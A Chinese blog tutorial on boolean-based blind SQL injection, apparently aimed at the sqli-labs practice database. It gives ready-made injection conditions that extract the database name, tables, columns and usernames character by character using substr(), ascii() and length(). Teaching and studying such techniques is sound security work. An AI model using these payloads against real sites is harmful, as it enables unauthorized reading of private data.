首页 > 数据库 >SQL注入-布尔盲注

SQL注入-布尔盲注

时间:2024-06-17 10:32:26浏览次数:23  
标签:users 盲注 name SQL schema where id select 布尔

适用场景

适用于页面没有回显字段,只返回Ture和Flase

注入流程

求当前数据库长度 求当前数据库表的ASCII 求当前数据库中表的个数 求当前数据库中其中一个表名的长度 求当前数据库中其中一个表名的ASCII 求列名的数量 求列名的长度 求列名的ASCII 求字段的数量 求字段内容的长度 求字段内容对应的ASCII

SQL查询语句

求当前数据库长度
思路: 利用length()或substr()函数
select * from users where id =1 and length(database()>8);
#灵活利用>=<符号来判断数据库 
select * from users where id = 1 and ascii(substr(database(),8,1));
#当substr截取的字符串不存在时会返回false
求当前数据库名
思路:利用left()或substr()函数
select * from users where id=1 and (left(database(),2)='se');
#从左至右截取进行判断
select * from users where id=1 and ascii(substr(database(),1,1))=ascii('s')
#截取字符的ascii码值进行判断,可以利用><号缩小范围  
求当前数据库中表的个数
select * from users where id=1 and (select count(*) from information_schema.tables where table_schema=database())>3;
求当前数据库中某一个表名的长度
select * from users where id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6;

select * from users where id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))

求当前数据库中其中一个表名的ASCII
select * from users where id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = ascii('e')
求列名数量
select * from users where id =1 and (select count(column_name) from information_schema.columns where table_name = "users")=8
求列名长度
select * from users where id =1 and length((select column_name from information_schema.columns where table_name = "users" limit 0,1))=4

select * from users where id =1 and ascii(substr((select column_name from information_schema.columns where table_name = “users” limit 0,1),4,1))

求列名的ASCII
select * from users where id =1 and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 0,1),1,1))=ascii('U')

select * from users where id =1 and left((select column_name from information_schema.columns where table_name = “users” limit 0,1),1)=‘U’

求字段的数量
select * from users where id =1 and (SELECT count(username) FROM security.users)=13;
求字段内容的长度
select * from users where id =1 and length((SELECT username FROM security.users limit 0,1))=4;

select * from users where id =1 and ascii(substr((SELECT username FROM security.users limit 0,1),4,1));

求字段内容
select * from users where id =1 and ascii(substr((SELECT username FROM security.users limit 0,1),1,1))=ascii('D');

select * from users where id =1 and left((SELECT username FROM security.users limit 0,1),1)=‘D’;

标签:users,盲注,name,SQL,schema,where,id,select,布尔
From: https://blog.csdn.net/qq_40876028/article/details/139736957

相关文章

  • MySQL和PostgreSQL
    首先,两个数据区连接驱动不一样,选用相应的依赖即可语法区别:1.TIMESTAMPTZ类型与LocalDateTime不匹配,异常信息如下:PSQLException:CannotconvertthecolumnoftypeTIMESTAMPTZtorequestedtypejava.time.LocalDateTime如果postgres表的字段类型是TIMESTAMPTZ ,但是java对......
  • mysql dump 拉取远程数据同步到本地库的shell 脚本
    #!/bin/bash#远程MySQL连接信息REMOTE_HOST="8.8.11.100"REMOTE_USERNAME="root"REMOTE_PASSWORD="Yaya@1972"#本地MySQL连接信息LOCAL_HOST="8.8.9.248"#或者"localhost"LOCAL_USERNAME="root"LOCAL_PASSWORD......
  • 【MySQL】(基础篇十三) —— 联结
    联结本文介绍什么是联结,为什么要使用联结,如何编写使用联结的SELECT语句。介绍如何对被联结的表使用表别名和聚集函数。SQL最强大的功能之一就是能在数据检索查询的执行中联结(join)表。联结是利用SQL的SELECT能执行的最重要的操作,很好地理解联结及其语法是学习SQL的一个极为......
  • ArkTS本地化数据库SqlLight使用,鸿蒙NEXT星河版API(11)
    RelationalStore提供了一套完整的对本地数据库进行管理的机制,对外提供了一系列的增、删、改、查等接口,也可以直接运行用户输入的SQL语句来满足复杂的场景需要。谓词:数据库中用来代表数据实体的性质、特征或者数据实体之间关系的词项,主要用来定义数据库的操作条件。结果......
  • 【flink实战】flink-connector-mysql-cdc导致mysql连接器报类型转换错误
    文章目录一.报错现象二.方案二:重新编译打包flink-connector-cdc1.排查脚本2.重新编译打包flink-sql-connector-mysql-cdc-2.4.0.jar3.测试flink环境三.方案一:改造flink连接器一.报错现象flinksql任务是:mysql到hdfs的离线任务,flink在消费mysql时报如上错误......
  • MYSQL in和exists
    目录一、in二、exists三、区别一、in解释:in进行子查询时,内层语句仅返回一个数据列,数据列的值提供给外层语句进行比较操作。语法格式:select*from table_1where idin(selectidfromtable_2 );中文注释:select*from 表名 where 字段in(子查询/结果集)......
  • MySql 常用面试题 (一)
    MySQL面试题及答案整理1.MySQL中有哪几种锁?MySQL中有多种锁类型,它们可以根据不同的分类标准进行划分。以下是一些主要的锁类型:按粒度分:表锁:每次操作锁住整张表。开销小,加锁快;不会出现死锁;锁定粒度大,发生锁冲突的概率最高,并发度最低。常用于整表数据迁移的场景。行锁:对......
  • 【6】MySQL数据库
    MySQL关系型数据库什么是数据库?数据库是存放数据的电子仓库。以某种方式存储百万条,上亿条数据,供多个用户访问共享。数据库分为关系型数据库和非关系数据库【1】关系型数据库:1)定义:依据关系模型创建的数据库,把数据保存在不同的表中,表与表存在着某些关系。2)举例:mysql(甲骨文公司......
  • MYSQL基础版总结思维导图
    1.为什么char比varchar性能好存储空间利用率:CHAR类型由于是固定长度,因此在存储时不会像VARCHAR那样需要额外的空间来存储字符串的长度信息。这意味着CHAR在存储上可以更加紧凑,减少了存储空间的碎片化,从而在读取数据时可能会更快。数据对齐:由于CHAR是固定长度的,数据库系统......
  • 快手大数据面试SQL-用户中两人一定认识的组合数
    本文首发在数据仓库技术,网站种整理了几十篇各大公司大数据开发岗位、数据仓库、数据分析相关岗位实际面试SQL题目,并给出了对应的参考答案。快手大数据面试SQL-用户中两人一定认识的组合数.一、题目有某城市网吧上网记录表,包含字段:网吧id,访客id(身份证号),上线时间,下线时间......